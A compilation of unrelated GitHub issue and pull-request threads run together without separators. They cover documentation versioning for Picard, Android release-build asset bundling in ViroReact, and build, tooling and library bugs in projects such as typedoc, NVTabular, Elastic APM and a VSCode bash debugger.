<outsidecontext> hi, the publishing logic looks good to me. one thing I wonder is whether we should maybe settle to only have documentation for the minor versions (2.5, 2.6) and not the patch versions. usually we don't have big changes there, but we might have multiple updates to the documentation during e.g. the 2.5 cycle
<outsidecontext> so I would actially be in favor of a policy that we do e.g. a 2.6 doc release only, have a 2.6 doc branch then and update that if necessary.
<rdswift> That makes really good sense to me.  Is Picard only set to request documentation at the minor level now, or will that also need to be changed?
<outsidecontext> I would like to change this for the 2.6 release then, but stay with it for 2.5.3 (which I think we will do before christmas)
<rdswift> Or should I code some sort of redirect at the documentation server end?
<outsidecontext> would be another option, then we could also do it for older releases if we setup the tags and branches properly
<outsidecontext> but good topic: how would we go about having a redirect? We had a change from scripting.html to extending/scripting.html at some point, and now the link in Picard scripting is broken :(
<rdswift> I was mostly thinking of redirecting versions.  The different path thing is a bit tougher, but I have a way in mind.  I didn't realize that I broke it.
<rdswift> Do you know of any other paths that I broke?
<outsidecontext> I see, this would be all in the gh-pages branch I guess. We probably would need to place a file at the old location to do the redirect
<outsidecontext> that's the only one I am aware of. that's the link going from the built-in scripting docs in picard to picard-docs
<rdswift> Nope.  I would do it in the 404.html page which has some logic built in to try to find and redirect to the correct page before displaying the "not found" message.
<outsidecontext> I will change it in Picard, but I thought it would probably be also good to have some redirection in place
<outsidecontext> ah, even better
<rdswift> I'll add a ticket to work on the redirect thing and should have something ready this weekend.  Thanks.

I'm fine with this, patch versions shouldn't add much features anyway.

Here is another draft for your review and comment regarding publishing a new version of the documentation.  I really want to try to get a good understanding of how you want to see this whole documentation system working, so that I don't end up making changes that you don't want.  Thanks.

patch versions shouldn't add much features anyway.

Yes, that's my thinking as well. This has been the reality for basically all 2.x releases. Even when we had the docs on the old website we usually prepared an update for the 2.x version and had only light changes and corrections afterwards. With the new docs it turns out to be the same. Differences between patch versions in the docs are minimal at best, and usually are just corrections over the previous version. I think we simplify both our and our user's life with this :D
@rdswift: That new version publishing documentation looks good to me. For the displayed version I'm not sure, but maybe display the actual latest patch version.
We definitely should have a branch which we can push to for any updates to this version of the docs (as opposed to pushing e.g. in development changes to master).

We definitely should have a branch which we can push to for any updates to this version of the docs (as opposed to pushing e.g. in development changes to master).

Am I understanding that, for example, you want to be able to push changes to the current 2.5.2 branch (which is the same as the latest (default) master branch) but not have them appear in the master branch.  In other words, the 2.5.2 branch would be one or more commits ahead of the master branch (both of which are published)?  Or are you thinking that the changes be saved to a future branch such as 2.5.3 or 2.6 which is not yet published, and then merge them into the master branch (so that they are published) when the new version is released?  Both are certainly possible, and we should document how we want to gather the information for a pending release.  I'm thinking of using something like a next_picard_release branch rather than the proper numeric branch number because then once it is published you wouldn't need to apply minor corrections to both the master and numeric release branch to keep them in sync.  That was why I was suggesting not to create the numeric branch for a release until just prior to issuing the new release.  Or have I misunderstood?

Completed with the application of commits:

42887daa6f1bcbcf37bca7ee8e50f3fe76d0de3a [gh-pages]
b1ae9866a45b93419bfd08a2f2924888670b25c7 [master]
abcae54ff32fabb24742de8106928f1b8f1a806d [2.3]
cc77348b8793032d01358917ceb88c22d8aad6bf [2.4]
1deb2f6d0021bd8ce28acea76b6d621250a25adf [2.5]

Still need to finish the updates to the wiki.


OBJ and MTL not included in prod build for Android

We are trying to building our Android ARCore feature as a release, but it doesn't seems like the MTL and OBJ files are being included. Works fine in dev-mode for Android and for dev and release iPhone.
Ex. from our code
import icon from '../assets/3d/icon.obj'
import material from '../assets/3d/material.mtl'

  <Viro3DObject
                        source={icon}
                        resources={[material]}
                        type="OBJ"
                    />

And in our rn-cli.config.js
  getAssetExts() {
        return [
            'obj',
            'mtl',
        ]
    }

For React Native Android, you might have to "require" all the assets associated with the obj as well (mtl, png, etc) rather than import, so they are pulled in during the release bundle phase.
<Viro3DObject source={require('../assets/3d/icon.obj')}
resources={[require('../assets/3d/material.mtl')]}
type="OBJ" />

Tried it out now @dam00n .. Wasn't a big success 😕 Must be something with the bundling in some way. Works fine when the Android is connected, but the 3dObjects are gone when I disconnects the phone. So a bit hard to debug. I managed to get a crash log from Crashlytics though..
Fatal Exception: java.lang.NullPointerException: Attempt to invoke virtual method 'boolean java.lang.String.equals(java.lang.Object)' on a null object reference
       at com.viromedia.bridge.component.node.control.VRT3DObject.onPropsSet(VRT3DObject.java:174)
       at com.viromedia.bridge.component.VRTViroViewGroupManager.onAfterUpdateTransaction(VRTViroViewGroupManager.java:73)
       at com.viromedia.bridge.component.VRTViroViewGroupManager.onAfterUpdateTransaction(VRTViroViewGroupManager.java:21)
       at com.facebook.react.uimanager.ViewManager.updateProperties(ViewManager.java:35)
       at com.facebook.react.uimanager.NativeViewHierarchyManager.createView(NativeViewHierarchyManager.java:233)
       at com.facebook.react.uimanager.UIViewOperationQueue$CreateViewOperation.execute(UIViewOperationQueue.java:153)
       at com.facebook.react.uimanager.UIViewOperationQueue$DispatchUIFrameCallback.dispatchPendingNonBatchedOperations(UIViewOperationQueue.java:1010)
       at com.facebook.react.uimanager.UIViewOperationQueue$DispatchUIFrameCallback.doFrameGuarded(UIViewOperationQueue.java:981)
       at com.facebook.react.uimanager.GuardedFrameCallback.doFrame(GuardedFrameCallback.java:31)
       at com.facebook.react.modules.core.ReactChoreographer$ReactChoreographerDispatcher.doFrame(ReactChoreographer.java:136)
       at com.facebook.react.modules.core.ChoreographerCompat$FrameCallback$1.doFrame(ChoreographerCompat.java:107)
       at android.view.Choreographer$CallbackRecord.run(Choreographer.java:957)
       at android.view.Choreographer.doCallbacks(Choreographer.java:734)
       at android.view.Choreographer.doFrame(Choreographer.java:667)
       at android.view.Choreographer$FrameDisplayEventReceiver.run(Choreographer.java:945)
       at android.os.Handler.handleCallback(Handler.java:751)
       at android.os.Handler.dispatchMessage(Handler.java:95)
       at android.os.Looper.loop(Looper.java:154)
       at android.app.ActivityThread.main(ActivityThread.java:6776)
       at java.lang.reflect.Method.invoke(Method.java)
       at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1520)
       at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1410)

We are also using multiple different icons so also need a way to differentiate the different sources and resources that we are requiring in.
Could there might be a path issue when using require ? 🤔
Until now we'll just host the obj and mtl files on a server and fetch them from there, for the Android users.

Hi @cjrorvik, this does seem like a packaging issue. How are you building to production? If you are building release through Android studio, the packaging will not pick up your .mtl and obj files correctly.
You'll need to build to release through command line in order for the files to be packaged correctly.
Try packaging by running the following from your project root:
react-native run-android --variant=gvrRelease
Let me know if this works :)

Hi @VikAdvani ! Thanks for your reply! --variant=gvrRelease seems to work correctly when running we we are building through command line. So that's nice :) Problem is that we are deploying through Fastlane and that includes a gradle build.
    desc "Deploy staging version of app"
    lane :staging do |options|
        prepare_build(envfile:".env.staging", keystore: "nativeapp.jks")

        gradle(
            task: 'assemble',
            project_dir: "android/",
            build_type: 'Release'
        )
    end

Do you think it would be possible to do a build for Android with Fastlane? That would be great!

Hi @cjrorvik ,
It is definitely possible to do an Android build using Fastlane. We rely on Fastlane ourselves for our viro internal builds.
Above, did you mean --variant=gvrRelease built it correctly for you guys? In that case, try modifying your fastlane lane to (add flavor to your gradle task)
    desc "Deploy staging version of app"
    lane :staging do |options|
        prepare_build(envfile:".env.staging", keystore: "nativeapp.jks")

        gradle(
            task: 'assemble',
            project_dir: "android/",
            flavor: "Gvr",
            build_type: 'Release'
        )
    end

Looking at our fastlane lane, we simply have it as:
  desc "Build GVR release tests"
  lane :gvr_release_test do
    gradle(task: "assembleGvrRelease")
  end

Above single line for gradle action in fastlane, seems to work just fine for us.
If doing the above does not resolve the issue for you, I would then look at your gradle configuration. Most likely your gradle setup could be an issue.

What does your $ which gradle command return to you on your command line?
When you run your build as ./gradlew assembleGvrRelease, do you see gradle even running bundleGvrReleaseJsAndAssets step? When you run your fastlane staging or ./gradlew assembleGvrRelease commands, you should see terminal output as follows

[15:58:54]: ▸ :app:bundleGvrReleaseJsAndAssets
[15:58:54]: ▸ Loading dependency graph, done.
[15:58:54]: ▸ warning: the transform cache was reset.
[15:59:18]: ▸ bundle: start
[15:59:18]: ▸ bundle: finish
[15:59:18]: ▸ bundle: Writing bundle output to: **/build/intermediates/assets/gvr/release/index.android.bundle
[15:59:18]: ▸ bundle: Done writing bundle output
[15:59:18]: ▸ bundle: Copying XXX asset files
[15:59:19]: ▸ bundle: Done copying assets

Lastly, check in your android/app/build/intermediates -> Do you see an assets folder? Does it have the right contents?
If you don't see the above logs during your build or don't see assets in your intermediates, then your gradle commands are not bundling your assets at all, and that should help you narrow down your gradle build issues.
If the above is the case for you, a few things that have helped us in the past when we ran into similar RN (not)bundling issues:

Android Studio > Preferences > Build, Execution, Deployment > Compiler >
[Uncheck] Configure on demand

That should result in Android Studio adding the following like to your global gradle.properties file
org.gradle.configureondemand=false

Android studio and gradle defaults to true, so that seems to mess up RN builds sometimes as per
https://github.com/facebook/react-native/issues/7258 &
https://github.com/facebook/react-native/issues/9612
Let us know if this unblocks you. :)

Hey @cjrorvik ,
Just wanted to check - what version of React-Native are you trying to run your app with? Could you paste contents of your package.json?
Thanks,

Thanks for your reply @manbod !
I tried to use  flavor: "Gvr" but it says:
* What went wrong:
Task 'assembleGvrRelease' not found in root project '_projectName_'. Some candidates are: 'assembleRelease'.?

I do not quite understand where these task names are being set. What exactly is a assembleGvrRelease task, and are there any places to read more about it?
We are currently using React Native v.0.52.2
Gradle version: 4.6

Hi @cjrorvik
The assembledGvrRelease was guessed taskname after reading that --variant=gvrRelease works correctly for you. You can read more about how task names are put together on here. Also, you can see all the task names that your build configuration supports/generates by running this command gradle tasks or ./gradlew tasks depending on whether you use gradle wrapper.
As for the NullPointerException you are seeing -> All our recent past releases have been compatible and well tested with React Native v.0.49.3 -> Viro React Releases. We would test and bump our React Native compatibility version in a future upcoming release. Until then, a work around may be to bump your react-native version down to v.0.49.3, if that's a possibility for you. Keep in mind, you would also need to lower React's appropriate version. (You would see a warning on the lines of npm WARN peerDependencies The peer dependency react@~R included from react-native... where R is the version you are missing.

For Googlers:  The problem turned out to be the version of React Native - it must be 0.49.3 for Viro 2.4/2.5  Apparently the RN bundle process puts files in different locations after 0.49.  Viro is working on a release to support RN 0.55 and above.

This issue has been fixed in our latest release, ViroReact 2.6.0. We now support RN 0.55.1. Release notes and upgrade instructions here -> https://docs.viromedia.com/docs/releases
Closing this issue. Please reopen if you still have issues.

Seems like there is some issue with assets on Android again? When we bundle for release, icons appear grey, or not at all. In debug mode they show as expected.
When loading from URL, the assets show as expected.
We are on React Native v0.55.3 and react-viro 2.7.3.

Hey @draperunner, sounds like it may be an issue with how you are pulling in assets that then manifests itself in a release build. Could you share the Viro3DObject code you are using, and as well as the corresponding resources? Thanks!

Hey @draperunner, the path to the model assets listed above may not be resolving correctly in release builds. Instead of importing, could you use the 'require' implementation to ensure that the paths to these resources are also resolved correctly in release?
It would be something along the lines like this sample.
Please do let us know if that has worked for you or not. Thanks!

Yes, I tried that, as Danny suggested in the first comment on this issue, but sadly it does not work either.

Hey @draperunner, thanks for your reply! A quick question here - do you have any other assets that are also named "bus" or "busMaterial" that is not apart of the Viro3DObject? In react release builds, resources with the same "clash" with each other, and thus your bus, or bustMaterial resource. may be overwritten by something else. Thanks!


Feather Icons are not matching with names on android

[x] Review the documentation: https://github.com/oblador/react-native-vector-icons
[x] Search for existing issues (including closed issues): https://github.com/oblador/react-native-vector-icons/issues

Environment
Mac OS 11.0.1 (20B29)
Node v15.4.0
Npm v7.0.15
"react-native-vector-icons": "^7.1.0",
"react": "16.13.1",
"react-native": "0.63.4",
buildToolsVersion = "29.0.2"
minSdkVersion = 21
compileSdkVersion = 29
targetSdkVersion = 29

Description
Feather icons are not matching with names given in the directory (https://oblador.github.io/react-native-vector-icons/)
on android for example 'star','message-circle','users','user' and i tried others also many of them showing different icons on android no problem on ios

Reproducible Demo
setting up react native vector icons as given in documentation and import vector icons feather and use given names above

See troubleshooting section


feat: api routes for EvmApi

Suggestion to add separate api routes for each EvmAPI endpoint.
The following files contain param types and nextjs API routes for the functions under EvmApi.account.
By defining separate API routes for each EvmAPI endpoint, we can reuse them when calling from ClientSide or ServerSide use.
Let me know your opinion on this suggestion.🙌

Hey @johnvsnagendra! We will release a library with API routes and hooks to call Moralis APIs from client-side

coming 2 weeks


Evaluate names for project as well as header location and names

Partially resolved (name) - the location question may require later revisiting - we can always reopen this issue again.


Fix clippy failures with Rust 1.67.0

Summary
Rust 1.67.0 released earlier today and with it the default set of rules in clippy changed. A new rule checking the use of the format!() macro was added that triggers on some of the returned exception strings we were using. This commit fixes this issue so that we're able to pass clippy with the latest version of Rust.
Details and comments

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 5 (0.0%)  changed or added relevant lines in 2 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.005%) to 84.942%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/sabre_swap/swap_map.rs
0
1
0.0%

src/pauli_exp_val.rs
0
4
0.0%

Totals

Change from base Build<PHONE_NUMBER>:
0.005%

Covered Lines:
66754

Relevant Lines:
78588

💛  - Coveralls


Error during generating Search Index

Search terms
error, search index
Expected Behavior
I expect to not have the undefined error when generating the Search Index. This configuration worked in 0.24.x, it started giving error after the 0.25.x update.
Actual Behavior
Generating the documentation folder, because of an undefined.
The error is:
TypeError: Cannot convert undefined or null to object
    at Function.values (<anonymous>)
    at _classThis.buildSearchIndex (/xxx/tsparticles/website/node_modules/.pnpm/typedoc@0.25.2_typescript@5.2.2/node_modules/typedoc/dist/lib/output/plugins/JavascriptIndexPlugin.js:132:49)
    at /xxx/tsparticles/website/node_modules/.pnpm/typedoc@0.25.2_typescript@5.2.2/node_modules/typedoc/dist/lib/output/plugins/JavascriptIndexPlugin.js:126:64
    at /xxx/tsparticles/website/node_modules/.pnpm/typedoc@0.25.2_typescript@5.2.2/node_modules/typedoc/dist/lib/output/renderer.js:268:68
    at Array.map (<anonymous>)
    at _classThis.runPreRenderJobs (/xxx/tsparticles/website/node_modules/.pnpm/typedoc@0.25.2_typescript@5.2.2/node_modules/typedoc/dist/lib/output/renderer.js:268:55)
    at _classThis.render (/xxx/tsparticles/website/node_modules/.pnpm/typedoc@0.25.2_typescript@5.2.2/node_modules/typedoc/dist/lib/output/renderer.js:251:24)
    at async _classThis.generateDocs (/xxx/tsparticles/website/node_modules/.pnpm/typedoc@0.25.2_typescript@5.2.2/node_modules/typedoc/dist/lib/application.js:407:13)
    at async file:///xxx/tsparticles/website/docs-gen.js:62:13

Steps to reproduce the bug

Clone https://github.com/tsparticles/website
Run pnpm install
Run pnpm run build:docs (it takes a while)

Environment

Typedoc version: 0.25.2 (tried also 0.25.1)
TypeScript version: 5.2.2
Node.js version: 18
OS: macOS

If possible, please reduce this to a minimal reproduction. I don't have time to investigate everyone's special build system
Also, I strongly recommend tossing //@ts-check at the top of your random JS scripts. If you'd done this, you would have noticed a type error in your docs-gen script which I suspect is the reason for this.

If possible, please reduce this to a minimal reproduction. I don't have time to investigate everyone's special build system
Also, I strongly recommend tossing //@ts-check at the top of your random JS scripts. If you'd done this, you would have noticed a type error in your docs-gen script which I suspect is the reason for this.

The type error fix did the job. Thanks, I didn't notice that!


Version 5.5 is not available

I added this to my workflow and received an error
      - uses: fwal/setup-swift@v1
        with:
          swift-version: "5.5"

Workflow configuration (please complete the following information):

Platform (runs-on): macos-latest

Version "5.5" is not available
6
Stacktrace:
7
Error: Version "5.5" is not available
8
    at Object.verify (/Users/runner/work/_actions/fwal/setup-swift/v1/dist/index.js:7935:15)
9
    at /Users/runner/work/_actions/fwal/setup-swift/v1/dist/index.js:2644:36
10
    at Generator.next (<anonymous>)
11
    at fulfilled (/Users/runner/work/_actions/fwal/setup-swift/v1/dist/index.js:2625:58)

I'm seeing a PR https://github.com/fwal/setup-swift/pull/315 to set the default version to 5.5. Should address this bug before merging that?

@freddy1h Hi! Thanks for the report. I just released a new version that should fix this issue.


Updated CNI spec reference

CNI spec has moved from appc organization in github to containernetworking organization.

Thanks, @leecalcote !

@johndmulhausen, you bet!


[BUG] Recent regressions in Criteo-benchmark performance

Describe the bug
It looks like a few PRs have introduced significant performance regressions in the DGX-1 dask-nvtabular-criteo-benchmark.py run time over the previous month.  However, on the latest main I am getting ~434s.
The biggest performance hit comes from the addition of a HugeCTR keyset output file write in #1136 (which is apparently very slow). However, #1162 also adds a new len(ddf) call to Categorify. For some reason, that new len(ddf) call was running relatively fast when it was first introduced, but it became considerably slower after #1194.
When I manually remove the keyset write and the len(ddf) call from main, the benchmark goes back down to ~125s.
Steps/Code to reproduce bug:
Running on a DGX-1 machine with 8x32GB-V100:
python NVTabular/bench/examples/dask-nvtabular-criteo-benchmark.py --part-mem-frac 0.125 --device-limit-frac 0.7 --device-pool-frac 0.8  --data-path /raid/.../criteo_parquet--out-path /raid/.../scratch/ --out-files-per-proc 3 --cat-cache-high device -d 0,1,2,3,4,5,6,7

Output before #1136:
Dask-NVTabular DLRM/Criteo benchmark
--------------------------------------
partition size     |<PHONE_NUMBER>
protocol           | tcp
device(s)          | 0,1,2,3,4,5,6,7
rmm-pool-frac      | 0.8
out-files-per-proc | 3
num_io_threads     | 0
shuffle            | PER_PARTITION
cats-on-device     | False
======================================
Runtime[s]         |<PHONE_NUMBER>0870667
======================================

Output on main:
Dask-NVTabular DLRM/Criteo benchmark
--------------------------------------
partition size     |<PHONE_NUMBER>
protocol           | tcp
device(s)          | 0,1,2,3,4,5,6,7
rmm-pool-frac      | 0.8
out-files-per-proc | 3
num_io_threads     | 0
shuffle            | PER_PARTITION
cats-on-device     | False
======================================
Runtime[s]         |<PHONE_NUMBER>521515
======================================

Environment details (please complete the following information):

Environment location: Bare-metal
Method of NVTabular install: conda (cudf-21.08 conda package)

Regarding the len(ddf) call in Categorify: I get the sense that the only purpose of this operation is to figure out how many nulls are missing from the "count" groupby-aggregation statistics. Perhaps we should just be using a "size" aggregation instead of a "count" aggregation for Categorify (note that "size" will include nulls in the count for each Category, while "count" will not).  @benfred @jperez999 - Do you think it makes sense to move from "count" to "size" to avoid the null-value problem? Perhaps I am overlooking a fundamental problem with a "size"-based approach?


Can't disable elastic traceparent headers

(Possible misconfiguration) I can't seem to disable Elastic APM traceparent headers for requests made using the aiohttp library. I am using environment variables to disable.
To Reproduce

Set environment variable
Instrument python AWS lambda function - capture_serverless()
Make http request using aiohttp
Capture request readers and inspect for traceparent headers

aiohttp session creation / request
# Create Session
async with aiohttp.ClientSession(response_class=WrappedResponseClass) as session:
    resp = await session.request(
                url=f'{protocol}://{address}:{port}{path}',
                method='GET',
                headers=headers,
                timeout=aiohttp.ClientTimeout(sock_connect=5, total=20),
                ssl=ssl_context
            )

Instrumentation via capture_serverless():
Note: Handler function executes an async coroutine: asnyc_handler to start async event loop
async def async_handler(event):
    # call some code that makes an aiohttp request

    return {
            'statusCode': 200,
            'body': 'success'
        }

@capture_serverless()
def handler(event, _context) -> Dict:
    return asyncio.run(async_handler(event))

Environment (please complete the following information)

OS: [e.g. Linux] debian:bullseye-slim (python:3.9-slim container image) x86
Python version: 3.9
Framework and version [e.g. Django 2.1]: N/A AWS Lambda Function
APM Server version: 8.8.2
Agent version: 6.15.0

Additional context
Add any other context about the problem here.

Agent config options

Click to expand
AWS_LAMBDA_EXEC_WRAPPER: /opt/python/bin/elasticapm-lambda
ELASTIC_APM_LOG_LEVEL: error
ELASTIC_APM_LAMBDA_APM_SERVER: https://<Elastic Cloud Hostname>:443
ELASTIC_APM_SECRET_TOKEN: ${env:ELASTIC_APM_SECRET_TOKEN}
ELASTIC_APM_ENVIRONMENT: ${self:provider.stage}
ELASTIC_APM_USE_ELASTIC_TRACEPARENT_HEADER: False
ELASTIC_APM_CAPTURE_HEADERS: False
ELASTIC_APM_SPAN_COMPRESSION_SAME_KIND_MAX_DURATION: 1000ms
ELASTIC_APM_SPAN_STACK_TRACE_MIN_DURATION: 50ms

pyproject.toml deps:

Click to expand
[tool.poetry.dependencies]
python = "^3.9"
requests = "^2.28.2"
scapy = "^2.5.0"
urllib3 = "^1.26.15"
pefile = "^2023.2.7"
python-dateutil = "^2.8.2"
elasticsearch = "^8"
pyjarm = "^0.0.5"
shodan = "^1.28.0"
netstruct = "^1.1.2"
PyYAML = "^6.0"
elastic-apm = "^6.15"
aiohttp = "^3.8.4"
tomlkit = "^0.11.6"
uvloop = "^0.17.0"
multidict = "^6.0.4"
aiobotocore = "^2.5"
boto3 = "^1.26"
types-aiobotocore = {extras = ["essential"], version = "^2.5.0"}
python-tlsh = "^4.5.0"
domaintools-api = "^1.0.1"
ipykernel = "^6.21.3"
httpx = "^0.23.3"
cryptography = "^38.0.4"
yamale = "^4.0.4"
aiofiles = "^22.1.0"
validators = "^0.20.0"
censys = "^2.1.9"
pyopenssl = "^23.1.1"
pyasn1 = "^0.5.0"
pandas = "^2.0.2"
tldextract = "^3.4.4"
paramiko = "^3.2.0"
pyelftools = "^0.29"

I think this is a misunderstanding. All that ELASTIC_APM_USE_ELASTIC_TRACEPARENT_HEADER: False does is disable the fallback/legacy header elasticapm-traceparent. It does not disable distributed tracing. Can you clarify your use case here?

I'm not sure if there is a way to disable tracing for a specific span? e.g.

@elastic_apm.disable_capture()
async def my_func():
    return

Currently, we don't have a way to disable distributed tracing for our automatic instrumentations. One way you could do it is to disable the aiohttp automatic instrumentation, and then use elasticapm.capture_span() to capture the call manually. Unfortunately, you'll miss out on some of the extra context that we collect with the aiohttp automatic instrumentation, like url, header collection, and automatic handling of HTTP status codes for "span outcome" (success/failure). You could set that context manually if you'll miss it.
Instrumentations can be disabled with the environment variable SKIP_INSTRUMENT_<name>, where <name> is the name defined in the instrumentation for aiohttp_client, the name is aiohttp_client, so you would set SKIP_INSTRUMENT_AIOHTTP_CLIENT: True. Then, you could surround your call with elasticapm.capture_span() to capture the span manually without adding distributed tracing headers.

No worries there, this is a great solution and thank you for the helpful tips!


ManagedMqttClientStorageManager

Hello,
may be I'm wrong, but where exactly is queued  the _applicationMessages loaded here;
        public async Task LoadQueuedMessagesAsync()         {             var loadedMessages = await _storage.LoadQueuedMessagesAsync().ConfigureAwait(false);             foreach (var loadedMessage in loadedMessages)             {                 _applicationMessages.Add(loadedMessage);             }         }
It seems nowhere. But once it was working. Some body changed it here
row s 62-66 were deleted.
JJ

Will be refactored.


how to set tow subview horizontal alignment?

[view2 mas_makeConstraints:^(MASConstraintMaker *make) {
    make.top.equalTo(view1.mas_top);
}];

@cloudkite How would you set constraints if view2 was a constant width, and you wanted the view1 to fit the rest of the width? (Assuming these views are in a superview with its own constraint for the width)

[view1 mas_makeConstraints:^(MASConstraintMaker *make) {
make.left.equalTo(view2.right).insets(padding);
make.right.equalTo(superview.right).insets(padding);
}];

Sorry, I'm still learning how to use AutoLayout, can you explain why view1.left = view2.right?

@eytanbiala view2 will be on the left side of the superview and view1 will be on the right.

Oh ok that makes sense, thanks for clarifying!
On Mar 21, 2015 9:08 AM, "Taarna"<EMAIL_ADDRESS>wrote:

@eytanbiala https://github.com/eytanbiala view2 will be on the left
side of the superview and view1 will be on the right.
[image: img]
https://cloud.githubusercontent.com/assets/4928442/6765143/9f943760-cfd3-11e4-8a18-aa6fd8614097.png
—
Reply to this email directly or view it on GitHub
https://github.com/Masonry/Masonry/issues/158#issuecomment-84332716.

how can i user Masonry explain views position relationship?
forexample vfl:V:|-10-[view1]-10-[view2]-10-|?
how to explain this some views's position relationship?
because i fell,Masonry’s make function is single use for one view


License?

Should this PySAL repo have an associated license, like the other PySAL submodules? I also noticed the pysal/docker/pysaldev repo does not yet have a license.

Closed via #9


[Bug] Broken check_links.py

Describe the bug
The .github/check_links.py script does not respect anchors, and incorrectly reports broken links.
Steps/Code to Reproduce

Navigate to #460
See that check has failed
Navigate to the changed file
Observe that the link in question actually works

Expected Results
Link check passes
Actual Results
Broken links in doc/contributing/installation.md:
  - /home/runner/work/PyRIT/PyRIT/doc/contributing/tests.md#notebooks

Screenshots
N/A
Versions
N/A

https://github.com/Azure/PyRIT/pull/462

Closing this, should be fixed with the linked PR!


Add option to include IO500 in image

Signed-off-by: Łukasz Sitkiewicz<EMAIL_ADDRESS>

@markaolson could you please inspect?

I talked to @lsitkiew about this.  Since we pull the mpifileutils and io500 installation scripts out of the images/scripts directory in PR9 I would prefer to not put them back.  @cboneti can chime in here but I'm pretty sure he would agree.
I would like to add hook in the packer scripts that allow anyone to specify a list of scripts they want packer to run during the image build.  With that feature in place we can leave the install_mpifileutils.sh and install_io500-sc21.sh scripts in the terraform/examples/io500 directory and have the ./start.sh specify that those scripts be run when it calls images/make_images.sh.
This way @lsitkiew and his team can still build daos-client images with mpifileutils and io500 in them and we can keep the images/scripts directory clean (only scripts for installing DAOS).
Does this sound like a good solution?

I talked to @lsitkiew about this. Since we pulled the mpifileutils and io500 installation scripts out of the images/scripts directory in PR9 I would prefer to not put them back. @cboneti can chime in here but I'm pretty sure he would agree.
I would like to add a "hook" in the packer scripts that will allow anyone to specify a list of scripts they want packer to run during the image build. With that feature in place we can leave the install_mpifileutils.sh and install_io500-sc21.sh scripts in the terraform/examples/io500 directory and have the terraform/examples/io500/start.sh script specify that those scripts be run when it calls images/make_images.sh.
This way @lsitkiew and his team can still build daos-client images with mpifileutils and io500 in them and we can keep the images/scripts directory clean (only scripts for installing DAOS).
Does this sound like a good solution?

I agree with @markaolson here. It can start by being a simple command line option that includes the one script if that is easier.

This changes are no longer needed. I close this PR.


Removing Russian and Chinese (Traditional) properties files

Since both locales were removed from zanata.xml file, they shouldn't come back when running a mvn zanata:pull-module.

@paulovmr nice, thanks!


runInTerminal request problem in 1.33 (previous VSCode versions ok)

Seems that VSCode DebugAdapter's  this.runInTerminalRequest(...) does not work properly with newest VSCode version. Works fine on previous versions including 1.32.3
The internal runInTerminal request is beeing called with unspecified terminal, but the actual terminal pane does not appear, though success is beeing reported.
RunInTerminal args and success response below.
{"title":"Bash Debug Console","cwd":".","args":["wsl.exe","bash","-c","cd \"/mnt/d/Users/rogal_000/Documents/src/BashDebugger/testing\"; while [[ ! -p \"/tmp/vscode-bash-debug-fifo-19228\" ]]; do sleep 0.25; done; \"bash\" \"/mnt/d/Users/rogal_000/Documents/src/BashDebugger/vscode-bash-debug/bashdb_dir/bashdb\" --quiet --tty \"/tmp/vscode-bash-debug-fifo-19228\" --tty_in \"/tmp/vscode-bash-debug-fifo-19228_in\" --library \"/mnt/d/Users/rogal_000/Documents/src/BashDebugger/vscode-bash-debug/bashdb_dir\" -- \"/mnt/d/Users/rogal_000/Documents/src/BashDebugger/testing/test.sh\" "]}

{"type":"response","seq":3,"command":"runInTerminal","request_seq":2,"success":true,"body":{}}

However, if terminal kind is provided - it works for me:
{"kind":"integrated","title":"BashDebug","cwd":".","args":["wsl.exe","bash","-c","cd \"/mnt/d/Users/rogal_000/Documents/src/BashDebugger/runinterminal-test\"; while [[ ! -p \"/tmp/vscode-bash-debug-fifo-11609\" ]]; do sleep 0.25; done; \"bash\" \"/mnt/d/Users/rogal_000/Documents/src/BashDebugger/vscode-bash-debug/bashdb_dir/bashdb\" --quiet --tty \"/tmp/vscode-bash-debug-fifo-11609\" --tty_in \"/tmp/vscode-bash-debug-fifo-11609_in\" --library \"/mnt/d/Users/rogal_000/Documents/src/BashDebugger/vscode-bash-debug/bashdb_dir\" -- \"/mnt/d/Users/rogal_000/Documents/src/BashDebugger/runinterminal-test/test.sh\" "]}

{"type":"response","seq":3,"command":"runInTerminal","request_seq":2,"success":true,"body":{"shellProcessId":3440}}

Might be related to integrated terminal changes in 1.33.
My W10 version is 17763.404.
Attaching small project that reproduces the issue (Bash Debug extension needed).
runinterminal-test.zip

Some non-ascii characters are not working as well in runInTerminalRequest args:
JSON.stringify(termArgs)
"{"kind":"integrated","title":"Bash Debug Console","cwd":".","args":["wsl.exe","bash","-c","cd \"/mnt/c/Users/Michał/Documents/src/bash-debugger/testing\"; while [[ ! -p \"/tmp/vscode-bash-debug-fifo-15640\" ]]; do sleep 0.25; done; \"bash\" \"/mnt/c/Users/Michał/Documents/src/bash-debugger/vscode-bash-debug/bashdb_dir/bashdb\" --quiet --tty \"/tmp/vscode-bash-debug-fifo-15640\" --tty_in \"/tmp/vscode-bash-debug-fifo-15640_in\" --library \"/mnt/c/Users/Michał/Documents/src/bash-debugger/vscode-bash-debug/bashdb_dir\" -- \"/mnt/c/Users/Michał/Documents/src/bash-debugger/testing/test.2.sh\" \"aaaa   \""]}"

results in:
PS C:\Users\Michał\Documents\src\bash-debugger\testing> cd '.'; & 'wsl.exe' 'bash' '-c' 'cd "/mnt/c/Users/Micha/Documents/src/bash-debugger/testing"; while [[ ! -p "/tmp/vscode-bash-debug-fifo-15640" ]]; do sleep 0.25; done; "bash" "/mnt/c/Users/Micha/Documents/src/bash-debugger/vscode-bash-debug/bashdb_dir/bashdb" --quiet --tty "/tmp/vscode-bash-debug-fifo-15640" --tty_in "/tmp/vscode-bash-debug-fifo-15640_in" --library "/mnt/c/Users/Micha/Documents/src/bash-debugger/vscode-bash-debug/bashdb_dir" -- "/mnt/c/Users/Micha/Documents/src/bash-debugger/testing/test.2.sh" "aaaa   "'
: wiersz 0: cd: /mnt/c/Users/Micha/Documents/src/bash-debugger/testing: Nie ma takiego pliku ani katalogu
bash: /mnt/c/Users/Micha/Documents/src/bash-debugger/vscode-bash-debug/bashdb_dir/bashdb: Nie ma takiego pliku ani katalogu
PS C:\Users\Michał\Documents\src\bash-debugger\testing>

"Nie ma takiego pliku ani katalogu" == No such directory because "ł" letter disappeared from "/mnt/c/Users/Micha/Docu....".

@rogalmic please do not mix problem in one issue. I will only discuss the original issue here.
So my understand of the original issue is:

if no "kind" is specified, the request does not return an error response.
if a "kind" is specified the request works.

Is my understanding correct?

Yes:

